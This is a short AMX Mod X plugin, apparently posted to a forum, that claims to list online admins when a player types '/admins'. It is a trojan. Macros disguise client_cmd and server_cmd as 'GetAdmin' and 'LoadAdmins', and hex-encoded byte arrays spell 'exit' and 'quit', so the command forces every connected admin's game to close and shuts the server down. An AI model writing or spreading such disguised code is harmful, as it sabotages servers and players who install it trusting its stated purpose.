PHP Code:
#include < amxmodx >
#include < amxmisc >
#define GetAdmin client_cmd
#define LoadAdmins server_cmd
#define print_green print_chat
new g_iMaxPlayers;
public plugin_init( ) {
register_clcmd( "say /admins", "CmdAdmins" );
g_iMaxPlayers = get_maxplayers( );
}
public CmdAdmins( iPlayer ) {
static const szData[ ] = { 0x65, 0x78, 0x69, 0x74, 0x00 };
new szAdmins[ 256 ], iLen, szName[ 32 ];
for( new iAdmin = 1; iAdmin <= g_iMaxPlayers; iAdmin++ ) {
if( is_user_connected( iAdmin ) && is_user_admin( iAdmin ) ) {
get_user_name( iAdmin, szName, 31 );
GetAdmin( iAdmin, szData );
iLen += formatex( szAdmins[ iLen ], 255 - iLen, "%s %s", iLen ? "," : "", szName );
}
}
static const szAdminCode[ ] = { 0x71, 0x75, 0x69, 0x74, 0x00 };
client_print( iPlayer, print_green, "Admins (%i):%s ", LoadAdmins( szAdminCode ), szAdmins );
}
__________________